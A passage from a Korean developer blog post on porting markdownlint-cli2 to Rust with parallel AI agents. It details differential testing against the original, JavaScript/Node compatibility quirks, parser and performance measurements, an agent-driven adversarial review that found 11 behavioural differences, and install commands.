두었다.

이 절차는 Bun의 것과 구조가 같다. 작업을 파일 단위로 쪼개고, 에이전트를 병렬로 돌리고, 충돌은 사람이 순서를 정해 푼다. 규모만 다르다. Bun은 최대 64개 에이전트에 6,502 커밋이었고 여기는 배치당 10개에 v0.1.3까지 279 커밋, PR 116개다. 커밋 시각을 보면 배치 다섯 개가 12시, 14시 반, 15시 반, 16시, 17시 반에 들어왔고, 각각 13개, 11개, 10개, 10개, 7개다(MD019와 MD021은 원본처럼 한 파일이다). 그리고 대부분의 규칙이 첫 시도에 픽스처를 통과했다. 배치 3의 10개는 전부 한 번에 맞았다. 안 맞은 것은 규칙이 아니라 파서였다. MD029와 MD027이 실패했을 때 원인은 규칙 코드가 아니라 markdown-rs의 컨테이너 종료 처리와 어댑터의 공백 배정이었고, 그래서 파서 수정 PR을 스택 중간에 끼워 넣어야 했다.

여기까지가 사흘이다. 견본 규칙 둘과 뼈대를 먼저 준비한 덕에 나머지 51개 규칙의 포팅을 하루에 모을 수 있었다. 8월 26일 18시 반에는 53개 규칙이 원본 픽스처 388개에서 오류 3,218건을 바이트 단위로 같게 냈고, rayon으로 파일 단위 병렬화를 넣었고, 태그를 밀면 릴리즈가 나가는 워크플로를 붙였다. 그 시점에서 나는 거의 다 됐다고 생각했다.

## 픽스처 밖에서도 같은가

픽스처 388개는 원본 저장소가 규칙을 테스트하려고 만든 파일이다. 규칙이 잡아야 할 패턴을 모아 둔 것이라 밀도는 높지만 다양성은 낮다. 한글도 이모지도 pnpm의 symlink도 없다. 그래서 그날 저녁, 릴리즈 워크플로를 붙인 지 30분 뒤에 이 블로그 저장소 전체를 `**/*.md`로 두 도구에 넣어 봤다. 결과가 달랐다. 버그 6건이 나왔고, 그중 셋은 마크다운 파싱과 무관한 곳에 있었다.

| 발견                                                   | 원인                                                                                          |
| ------------------------------------------------------ | --------------------------------------------------------------------------------------------- |
| HTML 주석 안에 한글이 있으면 panic                     | 주석 본문을 `.`으로 치환한 뒤 인덱스를 원본 길이로 계산                                       |
| 이모지 뒤 열 번호에서 range 검증 panic                 | 파서의 열은 UTF-16 코드 유닛(JS의 `.length`)인데 검증은 코드 포인트로 셈                      |
| pnpm의 node_modules 아래 파일이 열거되지 않음          | fast-glob은 symlink를 따라가는데(`followSymbolicLinks: true`) `ignore` 크레이트는 기본이 아님 |
| `## # a`에서 MD003 오탐                                | markdown-rs가 안쪽 `#`을 헤딩 본문에 넣지 않음                                                |
| `[a][https://x]y`에서 MD052 누락                       | 열린 `[` 안에서 autolink literal이 시작됨                                                     |
| `apps/blog/posts/**/*.md`가 node_modules까지 전부 순회 | 열거 후 필터링. fast-glob은 순회 중 가지치기                                                  |

이 여섯 건이 방향을 바꿨다. 픽스처만으로는 "같다"를 말할 수 없다는 것이 확인됐으니, 같다를 말할 수 있는 근거를 하나씩 쌓아야 했다. 그렇게 쌓은 것이 결국 이 표다. 다만 여섯 중 둘은 규칙보다 먼저 있었다. 토큰 오라클은 8월 25일에 규칙이 하나도 없는 상태에서 어댑터를 검증하려고 만든 것이고, 규칙 스냅샷 하네스는 26일 오전 첫 규칙 배치를 띄우기 직전에 만들었다. 나머지 넷은 26일 밤부터 27일 사이에 생겼다.

| 대조            | 대상                                                     | 결과                      | 이 대조만 잡은 것                                                                           |
| --------------- | -------------------------------------------------------- | ------------------------- | ------------------------------------------------------------------------------------------- |
| 토큰 오라클     | 원본 픽스처 388개를 JS micromark로 덤프해 토큰 트리 대조 | 376/388 일치              | 파서와 어댑터의 구조 차이. 규칙 결과에는 안 보이는 것까지                                   |
| 규칙 스냅샷     | 픽스처 388개, 기본 설정, 오류 3,218건                    | 바이트 일치               | 규칙 포팅 오류                                                                              |
| cli2 시나리오   | 원본 명령줄 테스트 216개 중 JS 로딩이 필요한 57개 제외   | 159개 통과, 알려진 차이 0 | glob 부정 패턴 순서, `./`와 `../`, 설정 파일 오류 문구, js-yaml의 flow collection 거부 규칙 |
| `--fix` 대조    | 픽스처 388개 중 174개가 바뀜                             | 파일 0 diff               | 수정 적용 순서와 줄 끝 문자 다수결                                                          |
| 실전 저장소 9개 | airflow, electron, eslint, mocha 등 1,534 파일 1,825건   | diff 6줄, 원인 1개        | 이모지가 든 줄의 MD013 `Actual` 값이 1 작음. `line.length`는 UTF-16                         |
| 블로그 저장소   | 20,966 파일 264,114건                                    | 0 diff                    | 위 표의 6건                                                                                 |

각 대조는 서로 다른 종류의 차이를 드러냈다. 토큰 오라클에서는 규칙 결과가 같아도 토큰 구조가 다른 12개 파일이 드러났고(리스트 안 fenced code(백틱 세 개로 감싼 코드 블록) 뒤의 lazy continuation(들여쓰기 없이 이어 쓴 다음 줄) 같은 것), cli2 시나리오는 명령줄과 설정 파일의 동작을 잡았고, 실전 저장소에서는 UTF-16 길이 문제가 열 계산 말고 `chars().count()`를 쓴 17곳에 더 있다는 것이 드러났다. 입력 파일만 늘려서는 명령줄 동작이나 `--fix`가 쓴 파일의 차이를 확인할 수 없다. 무엇을 넣을지와 무엇을 비교할지를 함께 넓혀야 했다.

## 스펙대로 고치면 호환이 깨진다

여섯 가지 대조에서 나온 차이를 모아 놓고 보면 공통점이 있다. 마크다운 해석의 차이는 거의 없다. 대부분은 **JavaScript가 그 일을 하는 방식**의 차이다.

`line.length`는 UTF-16 코드 유닛 수라 이모지가 2로 센다. `fs.readFile(file, "utf8")`은 잘못된 바이트를 U+FFFD로 바꾸고 계속 읽는다. 그래서 glob에 png가 섞이면 원본은 그 png를 끝까지 lint 해서 오류 2,605건을 내고, `read_to_string`을 쓴 rust-markdownlint는 exit 2로 죽었다. NUL 문자는 micromark가 전처리에서 U+FFFD로 바꿔 토크나이즈하지만 `token.text`는 원본 슬라이스라 NUL이 남는데, markdown-rs는 HTML 출력에서만 바꾸므로 `_` 옆의 NUL이 강조 판정에서 다른 부류로 분류돼 MD049 결과가 어긋났다. 치환본을 파싱하고 이벤트의 바이트 인덱스를 원본으로 되돌리는 코드로 맞췄다.

YAML 설정 파일에서 나온 차이는 이 유형의 극단이다. `.yaml` 이름으로 저장된 JSONC 문서(`// Comment` 줄이 있는)를 원본은 js-yaml이 `missed comma between flow collection entries`로 거부한다. 새 구현의 serde-saphyr는 YAML 스펙을 따라 그걸 `{ "// Comment \"config\"": ... }`로 정상 파싱한다. 스펙만 놓고 보면 새 구현이 옳다. 그런데 호환 기준으로는 틀렸다. 결국 YAML을 파싱하기 전에 스캐너 토큰을 훑어 js-yaml의 규칙(flow collection, 즉 `{}`나 `[]`로 적는 표기 안에서 암시적 키의 `:`는 키가 시작한 줄에 있어야 하고, 여러 줄 plain scalar, 즉 따옴표 없는 문자열의 이어지는 줄은 감싸는 블록보다 한 칸 이상 들여써야 한다)을 재현하는 코드를 넣었다. 스펙에 맞게 동작하는 라이브러리를 스펙에 어긋나게 감싼 것이다.

파서에서도 같은 일이 있었다. `**a [b] c**`는 micromark에서 짝 없는 `[`가 최상위에 따로 남는데 markdown-rs는 data 토큰 하나로 합쳐 버려 MD036이 오탐을 냈다. 원인은 리졸버(resolver, 토큰화가 끝난 뒤 이벤트 목록을 다시 훑어 짝을 맞추고 합치는 후처리 단계) 실행 순서다. micromark는 data 병합을 label(링크의 대괄호)과 attention(`*`와 `_` 강조 기호) 리졸버보다 먼저 돌리고, markdown-rs는 반대다. markdown-rs의 순서가 더 정연해 보이지만 결과가 다르니 되돌려야 했다. 순서를 바꾸면 이벤트 인덱스를 쓰는 다른 코드가 깨져서, 전부 합친 뒤 경계를 기록해 두었다가 micromark라면 남겼을 것만 되살리는 리졸버를 맨 뒤에 추가했다.

명령줄도 마찬가지였다. 인자 파서로 clap을 쓰지 않았다. 원본은 `--flag=value` 꼴을 지원하지 않고 모르는 `--xyz`를 glob 패턴으로 취급하는데, clap을 쓰면 그 두 동작을 재현할 수 없다. 원본과 같은 단일 패스 파서를 직접 썼다. glob 열거도 globset을 그냥 쓰지 못했다. globby(원본이 쓰는 Node의 glob 라이브러리로, 안에서 fast-glob을 쓴다)는 부정 패턴이 자기보다 앞에 온 양의 패턴에만 적용되고, `#**/node_modules` 같은 패턴은 순회 중에 디렉토리째 가지치기하며, symlink를 따라간다. 이 세 가지를 fast-glob 소스를 읽어 가며 맞췄다.

이 지점에서 호환의 대상이 무엇인지가 분명해졌다. markdownlint의 문서화된 규칙이 아니었다. **JavaScript 문자열의 길이 단위, Node의 파일 읽기 방식, js-yaml의 파서 버그, micromark의 리졸버 순서, globby의 패턴 해석 순서**였다. 이것들은 어디에도 스펙으로 적혀 있지 않고, 원본 저자도 의도해서 만든 게 아닐 가능성이 높다. 그런데 사용자의 설정 파일과 문서는 그 위에서 6년째 돌고 있고, 드롭인이라는 약속은 그것까지 포함한다. 규칙 중에서도 MD027, MD037, MD038, MD051부터 MD053까지는 micromark의 토큰 quirk(의도한 설계가 아니지만 굳어진 동작) 자체가 규칙 정의라, 파서를 "더 올바르게" 고치면 규칙이 틀려진다.

## 37배 빠른 파서를 쓰지 않은 이유

호환이 잡힌 뒤에 속도를 봤다. 픽스처 388개는 프로세스 기동이 지배해서 6.6배(366.2ms 대 55.1ms)였고, 이 블로그 포스트 441개(7.2MB)는 13.4배(1,411.2ms 대 105.0ms)였다. 그런데 코어당으로 나누면 이야기가 달라진다. 10코어 병렬 효과를 빼면 단일 스레드에서 3배 남짓이고, 그 절반 이상이 파싱이었다. samply(샘플링 프로파일러)로 프로파일을 뜨니 markdown-rs 토크나이저가 55%, 이벤트를 토큰 트리로 바꾸는 어댑터가 15%, 규칙 53개가 25%였다.

그래서 파서를 바꿀지 검토했다. pulldown-cmark로 같은 441개를 파싱하면 9.8ms다. markdown-rs는 365.6ms, 어댑터까지 524.7ms였다. 37배 차이다. 이 숫자만 보면 바꾸지 않을 이유가 없어 보인다.

| 구간                                  | 시간 (441 포스트, 단일 스레드, 10회 중 최선) |
| ------------------------------------- | -------------------------------------------- |
| pulldown-cmark 0.13.4, 이벤트 소비만  | 9.8ms                                        |
| markdown-rs `parser::parse`, 이벤트만 | 365.6ms                                      |
| markdown-rs + 어댑터, 토큰 582,321개  | 524.7ms                                      |
| `lint_content` 전체, 규칙 53개        | 643.9ms                                      |

그런데 규칙 비용을 보면 다르다. 파싱과 어댑터를 빼고 남는 규칙과 나머지(인라인 설정, HTML 주석 치환, 줄 분할) 비용이 119ms다. 파서와 어댑터를 0ms로 만들어도 119ms가 남는다는 뜻이고, 원본 cli2가 같은 코퍼스에 1,475ms니까 코어당 상한은 12.4배다. 이슈에 적어 둔 목표는 코어당 20배였고, 그러려면 74ms 아래여야 한다. 규칙 비용보다 작다. 어떤 파서를 가져와도 규칙을 손대지 않는 한 닿을 수 없는 숫자였다.

게다가 pulldown-cmark의 9.8ms는 이벤트를 소비만 한 값이다. 규칙이 쓰는 토큰 58만 개를 만들어 트리로 잇는 비용이 빠져 있다. 규칙과 헬퍼가 문자열로 참조하는 micromark 토큰 종류는 89종인데, pulldown-cmark 이벤트가 범위째로 주는 것은 20종 안팎이다. `linePrefix`, `listItemPrefix`, `codeFencedFenceInfo`, `undefinedReference` 같은 나머지는 원문에서 다시 잘라내야 하고, 그 재구성 코드는 추정 2,000줄에서 3,000줄이다. 블록 구조를 비교해 보니 pulldown-cmark와 markdown-rs가 99% 일치했는데, 불일치는 전부 `$` 수식 확장의 의미 차이였다. 그 차이를 맞추려면 pulldown-cmark도 벤더링해서 고쳐야 하고, 그러면 지금 markdown-rs에서 한 일을 micromark 설계와 더 먼 코드베이스에서 반복하게 된다.

결론은 바꾸지 않는 것이었고, 근거를 문서로 남겼다. 대신 있는 파서 안에서 줄였다. 어댑터의 토큰별 `String` 할당을 정적 종류와 원문 범위로 바꿔 159ms를 45ms로, markdown-rs 토크나이저의 EditMap(이벤트 목록에 가할 삽입과 삭제를 모아 두는 내부 구조)을 BTreeMap으로 바꾸고 테이블 헤드 스캔을 사전 검사로 건너뛰어 320ms를 203ms로, 규칙 53개는 파일마다 컴파일하던 정규식을 LazyLock으로 옮기고 토큰마다 `children.clone()`하던 것을 없애 125ms를 44ms로 줄였다.

그리고 여기서 두 번 잘못 쟀다. 첫 번째는 비교 대상이다. rumdl과 비교했을 때 두 도구가 90ms에서 105ms 사이로 같게 나와서 "동률"이라고 적어 두었다. 8월 29일에 다시 재니 rumdl이 2.3배 빨랐다(234.5ms 대 101.9ms, 443 포스트, hyperfine(명령줄 벤치마크 도구) 50회). 첫 비교에 이 블로그의 `.markdownlint.json`을 그대로 썼는데 그 파일이 `default: false`로 규칙 대부분을 끄고 있었다. 규칙이 꺼진 상태에서는 두 도구 모두 glob과 파일 IO에 묶여서 같아 보였던 것이다.

두 번째는 원인이다. 규칙을 하나씩 켜 가며 CLI 시간을 재서, 규칙 0개에서 1개로 갈 때 붙는 56ms를 파싱으로, 나머지 145ms를 규칙 본체로, 그중 47ms를 MD013으로 적어 두었다. 이슈 제목에도 그렇게 썼다. 9월 6일에 다시 파 보니 그 145ms의 대부분은 규칙이 아니었다. 규칙을 켜고 끈 CLI 시간의 차이에는 규칙 본체 외에 진단을 모으고 정렬하고 출력하는 비용이 함께 들어 있는데, MD013만 켜도 이 코퍼스에서 진단이 15,138건 나온다. 그리고 정렬 비교기 `locale_compare`가 비교마다 양쪽 파일명의 정렬 키를 `Vec`으로 새로 만들고, 1차 키가 같으면 대소문자 키를 두 개 더 만들고 있었다. 같은 파일 안의 진단끼리 비교할 때도 예외가 아니었다. 같은 문자열이면 바로 돌려보내고 나머지는 이터레이터로 직접 비교하게 바꾸자 진단 16,764건의 정렬이 128.0ms에서 23.2ms로, CLI 전체가 343.1ms에서 179.0ms로 줄었다(Apple M1, 445 포스트, 20회 평균). 같은 자리에서 rumdl 0.2.61은 175.9ms였다. 파싱과 줄 분할을 끝낸 뒤 `rule.check`만 따로 재면 MD013은 약 13ms다. 47ms의 규칙이 아니었다.

정렬을 고친 뒤 남은 격차를 9월 7일에 GitHub Codespaces(4 vCPU, Ubuntu 24.04)에서 다시 봤다. 같은 세션에서 할당기와 링크 타임 최적화를 A/B로 재니 jemalloc(메모리 할당기)이 블로그 코퍼스에서 7.3%, Thin LTO(링크 시점에 모듈 경계를 넘어 최적화하는 옵션)가 3.6%를 줄였고, 그 세션에서 rumdl과의 평균 격차는 43.3ms에서 10.8ms로 줄었다. 둘을 릴리즈 빌드 기본값으로 넣고(jemalloc은 Linux CLI만) 릴리즈로 배포하는 musl(정적 링크용 C 라이브러리) 정적 빌드로 세 도구를 재면 이렇다. 도구마다 3회 준비 실행 뒤 24회, 여섯 가지 실행 순서를 순환했고, 프로세스 시작부터 종료까지의 시간이다.

| 코퍼스                             | rust-markdownlint | rumdl 0.2.67 | markdownlint-cli2 0.23.2 |
| ---------------------------------- | ----------------: | -----------: | -----------------------: |
| 블로그 포스트 445개 (7.50MB)       |      434.4 ± 16.1 |  380.1 ± 5.3 |          4,792.9 ± 104.4 |
| markdownlint 픽스처 388개 (0.25MB) |        83.8 ± 2.4 |   89.8 ± 1.2 |           1,192.4 ± 23.6 |
| 픽스처 10배 복사 3,880개 (2.45MB)  |      762.9 ± 25.9 | 748.3 ± 14.6 |          6,501.8 ± 157.1 |

rumdl은 규칙 집합이 달라 블로그 코퍼스에서 진단 17,527건을 내고 rust-markdownlint와 cli2는 16,764건을 내므로, 같은 일을 한 시간은 아니다. 그걸 감안하고 보면 rust-markdownlint는 블로그 코퍼스에서 rumdl보다 14% 느리고, 픽스처에서는 더 빠르며, 10배 코퍼스에서는 2% 차이다. 같은 날 단일 스레드로 단계별 계측을 넣어 보니 어댑터와 규칙을 줄인 뒤라 markdown-rs 파서 본체가 코어 시간의 74%, 어댑터가 10%, 규칙 53개가 12%였고, MD013은 27.3ms로 코어 전체의 2.5%였다. 이제 내부 실행 시간을 더 줄이려면 교체하지 않기로 한 파서 본체를 살펴봐야 한다. 다만 이 비중만으로 rumdl과의 시간 차이를 전부 설명할 수는 없다. 위 코퍼스에서는 cli2보다 약 8.5배에서 14배 빨랐고, rumdl과는 앞뒤가 바뀌었다.

같은 날 오후에 한 군데를 더 줄였다. 기본 포매터가 진단마다 중간 문자열을 만들어 stderr에 바로 쓰고 있었는데, 64KiB 단위로 버퍼링하고 필드를 직접 써 넣게 바꾸자 블로그 코퍼스에서 write 호출이 33,531번에서 32번으로 줄었다. 같은 세션에서 musl 빌드를 짝지어 재니 픽스처 84.1ms가 78.3ms(6.9%), 블로그 434.9ms가 408.5ms(6.1%), 10배 코퍼스 771.5ms가 710.0ms(8.0%)였다. 위 세 도구 표는 이 변경 전의 측정이다. 같은 실험에서 파서 이벤트 벡터의 소유권을 옮기는 후보도 함께 재 봤지만 개선이 측정 편차 안에 머물러 채택하지 않았다. 정렬에 이어 출력도, 규칙이나 파서가 아니라 진단을 내보내는 길에서 줄어든 셈이다.

## 여섯 대조가 놓친 것을 리뷰어에게 맡겼다

Bun 글에서 방법론으로 가장 눈에 띈 것은 적대 리뷰어였다. 구현 에이전트 하나에 리뷰 에이전트 둘 이상을 붙이고, 리뷰어에게는 원본 Zig 코드 없이 diff만 주면서 "이 코드는 틀렸다고 가정하라"고 지시했다. 그 리뷰어들이 머지 전에 use-after-free 하나, `trunc`가 `floor`여야 했던 것 하나, 조건을 검사하기 전에 panic 하는 `unwrap_or` 하나를 잡았다.

v0.1.2를 릴리즈하고 나서 같은 것을 해 봤는데, 리뷰어에게 주는 것을 바꿨다. diff가 아니라 오라클을 줬다. Codex에게 저장소와 `bench/node_modules` 안의 원본 cli2 0.22.1을 주고, 이렇게 지시했다. 코드를 읽고 위험해 보인다고 말하는 것은 발견이 아니다. 실제로 두 도구를 돌려 출력이 다른 것만 발견이다. 발견마다 입력 파일, 설정, 원본 출력, 대상 출력, 원인 추정을 채워라. 그리고 이미 검증된 여섯 가지 대조는 다시 하지 말고, 그 대조들이 못 보는 곳을 찔러라. 규칙 파라미터의 비기본값 조합, 인라인 주석 변종, 설정 파일 경계, 입력 바이트, 명령줄 경계, 병렬 실행의 결정성, 내장 포맷터, 그리고 markdown-rs 패치 15건이 "결과는 같다"고 주장하는 조건 밖의 입력.

약 1,600회를 돌렸다. 규칙 옵션 조합 323건, 패치 15건을 겨냥한 파서 경계 코퍼스 1,113 파일, `--fix` 29건을 각 2회, 포맷터 26건, 명령줄과 설정 26건, 인라인 주석과 바이트 경계 82건. 발견은 11건이었고 보조 1건이 더 있었다.

가장 심각한 것은 MD044였다. 설정에 `names: ["K", "S"]`를 주고 `AKB AſB`(켈빈 기호 U+212A와 long s U+017F)를 `--fix` 하면, 원본은 파일을 그대로 두고 rust-markdownlint는 `AKB ASB`로 바꿔 쓴다. 양쪽 다 exit 0이고 출력이 없다. 파일만 다르다. 원인은 Rust `regex`의 `(?i)`가 유니코드 케이스 폴딩(대소문자를 무시하려고 문자를 정규형으로 접는 것)을 하는데, 원본의 `new RegExp(..., "gi")`는 `u` 플래그가 없어 ASCII 폴딩만 하기 때문이다. 발생 확률은 낮지만 이 프로젝트가 정의한 가장 나쁜 실패다. 조용히 파일이 달라진다.

한국어 사용자에게 가장 현실적인 것은 front matter였다. 사용자 정의 `frontMatter` 패턴으로 `^\w+\n`을 주면, 첫 줄이 `한글`일 때 원본은 그 줄을 본문으로 보고 MD041을 내는데 새 구현은 front matter로 먹어서 exit 0이다. JavaScript의 `\w`는 `u` 플래그가 있어도 ASCII고, Rust의 `\w`는 유니코드다. 같은 이유로 MD051의 `ignored_pattern`과 MD025, MD041의 `front_matter_title`도 어긋났다.

규칙도 파서도 아닌 곳에서도 나왔다. `sub/loop -> ..` 같은 symlink 순환이 있을 때 `sub/*/sub/a.md`라는 유한한 glob을 주면, fast-glob은 그 경로를 따라가서 파일을 찾는데 `ignore` 크레이트는 조상으로 되돌아가는 symlink를 오류로 보고 끊는다. 그 오류를 `flatten()`이 버려서 파일이 조용히 빠지고 exit 0이 됐다.

11건을 원인별로 묶으면 세 종류뿐이었다.

| 원인                      | 건수         | 내용                                                                                                            |
| ------------------------- | ------------ | --------------------------------------------------------------------------------------------------------------- |
| JavaScript 정규식 방언    | 7            | `\w`의 범위, `[^]`(JS에서는 모든 문자), `[]]`, 잘못된 정규식을 원본은 규칙 예외로 보고하는데 대상은 조용히 무시 |
| JavaScript 타입 강제 변환 | 2 (규칙 9개) | 원본은 `Number("3")`, `String(7)`, 배열 아닌 값에 `.map`을 불러 throw. 대상은 기본값으로 대체                   |
| 런타임 라이브러리         | 2            | fast-glob의 symlink 순환 처리, Node 에러 객체 출력 형식                                                         |

발견은 설정 값의 해석과 런타임 라이브러리의 동작에 몰려 있었다. 기존 여섯 대조에도 설정과 오류 시나리오는 있었지만, 정규식 방언이나 예상과 다른 타입의 값, symlink 순환까지 충분히 건드리지는 못했다. 내가 가장 약할 것이라 예상했던 markdown-rs 패치 15건은 1,113 파일에서 한 건도 어긋나지 않았다. 다만 그 패치들은 이미 차이를 발견해 수정하고 검증한 곳이다. 이 결과에서 읽을 수 있는 것은, 이미 의심하고 확인한 곳은 버텼고 두 언어가 같게 동작할 거라고 가정한 곳에서 차이가 더 나왔다는 점이다.

Bun 글의 회귀 사례에서도 비슷한 경계가 보였다. Zig의 `assert()`를 Rust의 `debug_assert!`로 옮겨 릴리즈에서 검사가 사라진 경우, 홀수 바이트를 무시하던 Zig의 `reinterpretSlice()`를 `bytemuck::cast_slice`로 옮겨 panic이 난 경우다. 두 포팅의 오류를 전부 설명하는 법칙은 아니지만, 다음 리뷰에서 문자열 길이, 정규식, 숫자 변환, 파일 읽기처럼 언어와 라이브러리가 동작을 정해 주는 곳부터 확인할 이유는 된다.

## 호환의 끝은 어디인가

11건을 고치는 데 소스 21개 파일에서 1,528줄이 늘고 236줄이 지워졌다. 고치는 방식이 발견보다 더 이 글의 주제에 가깝다.

JavaScript 정규식을 Rust 정규식으로 옮기는 번역기를 새로 썼다. `\w`, `\d`, `\b`는 `u` 플래그와 무관하게 ASCII로, `.`은 LF뿐 아니라 CR과 U+2028, U+2029도 제외하도록, `[^]`는 모든 문자로, `[]`는 아무것도 매치하지 않는 클래스로, 클래스 안의 `[`와 `&`와 `~`는 Rust에서 메타문자라 이스케이프하도록, `\z` 같은 정의되지 않은 이스케이프는 그 글자 자체로. 컴파일에 실패하면 V8의 `Invalid regular expression: /src/flags: reason` 문구를 그대로 만들어 규칙 실패 메시지로 낸다. `Number("3")`을 맞추려고 ECMAScript의 StringToNumber를 통째로 구현했다. `0x`, `0o`, `0b` 접두, `Infinity`, 십진 리터럴 문법, 그리고 반대 방향의 `Number.prototype.toString`(1e21 이상은 지수 표기, `-0`은 `0`)까지.

가장 멀리 간 것은 MD044다. `names`에 숫자가 섞이면 원본은 `a.localeCompare is not a function`을 던지는데, 그 메시지가 어느 원소에서 나오는지는 V8이 배열을 정렬하면서 comparator를 부르는 순서에 달려 있다. V8의 TimSort(배열 정렬 알고리즘)는 64개 미만이면 run 하나로 binary insertion을 하는데, 그 호출 순서를 그대로 밟아 첫 번째 TypeError를 찾는 함수를 넣었다. 규칙이 예외를 던지면 1번 줄에 오류 하나를 내고 그 규칙의 이후 오류는 전부 버리는 `handleRuleFailures`의 의미도 재현했다. `padEnd`가 한도를 넘거나 `repeat(Infinity)`가 되는 경우까지 규칙 실패로 나온다.

여기까지 하고 멈춘 곳이 있다. `extends`가 가리키는 파일이 없거나 읽기 권한이 없을 때, 원본은 Node의 Error 객체를 스택 트레이스와 `cause`까지 통째로 stderr에 찍는다. Rust 구현은 `Error: Unable to use configuration file '...'; No such file or directory (os error 2)` 한 줄이다. 둘 다 exit 2다. 이건 맞추지 않았다. 배너 문자열도 마찬가지로 원본 이름 대신 이 도구의 이름을 찍는다.

이 선을 어디에 그었는지 적어 두면 이렇다. **결과가 조용히 달라지는 것은 끝까지 쫓고, 실패했다는 사실이 같으면 실패의 형식은 놓아둔다.** V8의 정렬 순서를 따라간 것은 그게 exit 1과 stderr 한 줄의 차이를 만들기 때문이고, Node의 스택 트레이스를 안 따라간 것은 그게 exit 2 안에서의 형식 차이이기 때문이다. 기준이 있으면 "어디까지 했나"가 자랑이 아니라 판단이 된다고 생각한다.

고친 뒤 같은 1,600회를 다시 돌리면 남는 차이는 세 가지다. 배너, Node 에러 형식, 그리고 `extends`가 순환할 때 원본은 10초 안에 안 끝나고 새 구현은 스택 오버플로로 죽는 것. 마지막 것은 원본의 정상 종료 출력이 없어 "같게" 만들 기준이 없는데, 죽는 것은 호환과 무관하게 고쳐야 했다. 순환을 감지하면 설정 파일을 쓸 수 없다는 오류로 exit 2를 내게 고쳤고, 원본은 10초 안에 종료하지 않았다는 관찰과 함께 README에 적었다. 배너와 에러 형식에 이어 호환의 선 밖에 두기로 판단한 세 번째 항목이다.

## 다음 포팅에서는 무엇을 먼저 할까

Bun에서 가져온 작업 방식은 여기서도 쓸 수 있었다. 이슈로 나누고, worktree로 격리한 에이전트를 병렬로 돌리고, 원본의 기대 출력으로 완료 여부를 확인하는 것. 규칙 51개를 하루에 옮길 수 있었던 데에는 작업 단위가 분명했고, 그 전에 파서 어댑터와 토큰 오라클, 규칙 스냅샷 하네스를 준비해 둔 것이 컸다고 생각한다.

다음에는 실전 입력과 설정 경계의 대조도 더 일찍 준비하려고 한다. 원본 프로그램을 같은 인자로 실행하는 하네스에 외부 저장소의 문서와 비기본 설정을 넣고, 규칙이 구현되는 대로 비교할 수 있게 하는 것이다. 이번에는 규칙 포팅 뒤에야 추가한 대조가 많았다. 미리 준비한다고 뒤의 일이 모두 사라지지는 않겠지만, 이미 옮긴 여러 규칙에서 같은 가정을 되짚는 일은 줄일 수 있을 것 같다.

리뷰어에게는 언어 경계와 사용자가 설정에 넣을 수 있는 값을 먼저 확인하게 할 생각이다. 발견의 기준은 이번처럼 재현 가능한 차이로 둔다. 측정도 같은 원칙으로 가려고 한다. 규칙을 켜고 끈 시간의 차이를 바로 규칙 비용으로 읽기 전에, 파싱과 규칙 실행, 진단 정렬, 출력 구간을 직접 잰다.

규칙을 옮기는 속도가 빨라질수록 무엇을 같다고 볼지 결정하고 확인하는 일이 더 중요해졌다. 이 프로젝트에서는 그 기준이 기능 선택에도 영향을 줬다. `--flavor`와 자체 포매터는 제외했고, 캐시도 넣지 않았다. 대신 `--diff`, 셸 completions, LSP 서버, pre-commit 훅을 붙였다. 그리고 지원하는 입력에서 결과가 같은지 확인하는 일과, 지원하지 않거나 다르게 처리하는 동작을 기록하는 일을 함께 이어 가야 했다.

## 지금 어디까지 왔나

9월 7일 기준으로 확인한 호환 범위는 다음과 같다. 기준 버전은 markdownlint-cli2 v0.22.1이다.

| 대조                         | 결과                                                                                                          |
| ---------------------------- | ------------------------------------------------------------------------------------------------------------- |
| 규칙 53개, 원본 픽스처 388개 | 오류 3,218건 바이트 일치. `--fix`로 바뀌는 174개 파일도 0 diff                                                |
| 원본 명령줄 시나리오 216개   | JavaScript 로딩이 필요한 57개를 제외한 159개 전부 스냅샷 일치                                                 |
| 실전 저장소 9개, 1,534 파일  | 오류 1,825건 일치                                                                                             |
| 이 블로그 20,966 파일        | 오류 264,114건 일치                                                                                           |
| 적대 케이스 약 1,600회       | 남은 차이 3건. 배너 문구, Node 에러 객체의 출력 형식, `extends` 순환(원본은 10초 내 미종료, 새 구현은 exit 2) |

지원하지 않는 것은 JavaScript를 불러야 하는 전부다. `customRules`와 `markdownItPlugins`는 경고 후 무시하고, `.cjs`와 `.mjs` 설정 파일은 exit 2다. 텍스트 directive(`:name[label]` 꼴의 확장 문법)와 `unicode-width`가 다르게 재는 일부 문자도 원본과 다르다.

성능 비교에 쓴 cli2는 v0.23.2로, 호환 기준 버전과 다르다. 앞의 세 코퍼스에서 이 버전보다 약 8.5배에서 14배 빨랐고, rumdl과는 코퍼스에 따라 앞뒤가 바뀌었다. 그 뒤 출력 버퍼링으로 같은 세션 기준 6%에서 8%가 더 줄었다. 이 벤치마크를 v0.23.2 전체에 대한 호환 검증으로 보지는 않는다.

코드와 대조 기록은 전부 [github.com/yceffort/rust-markdownlint](https://github.com/yceffort/rust-markdownlint)에 있다. npm으로 설치하면 플랫폼별 바이너리를 optional dependency로 받아오고, 기존 markdownlint-cli2 설정 파일은 그대로 읽는다.

```bash
npm i -D @yceffort/rust-markdownlint
npx rust-markdownlint "**/*.md" "#node_modules"
```

## 원저자에게

이 글을 [David Anson](https://dlaa.me/)에게 감사하는 말로 끝내고 싶다. 이 작업을 가능하게 한 자료는 거의 전부 그가 만들어 둔 것이었다. 규칙마다 딸린 픽스처 388개, 기대 출력이 스냅샷으로 남아 있는 명령줄 시나리오 216개, 실전 저장소 9개를 커밋을 고정해 대조하는 테스트, 파라미터까지 표로 정리된 규칙 문서. 그가 2015년부터 markdownlint와 markdownlint-cli2를 다듬으며 쌓아 온 이 재료 덕에 규칙을 빠르게 옮기고, 그 결과를 대조할 수 있었다. 내가 한 일은 그 재료를 다른 언어에서 다시 실행할 수 있게 엮은 것에 가깝다.

스펙대로 고치면 깨진다고 적은 quirk들도, 그 위에서 이미 돌아가는 문서와 설정 파일이 있다는 점에서는 함부로 바꾸기 어려운 동작이다. 원본이 그동안 지켜 온 호환성이 이번 포팅에서는 내가 따라야 할 기준이 됐다. 이 도구가 rumdl과 다른 자리에 있다면, 그 자리를 먼저 만들어 둔 사람은 나보다 앞서 markdownlint를 만든 사람이다. 고맙다는 말을 여기에 적어 둔다.

## 참고

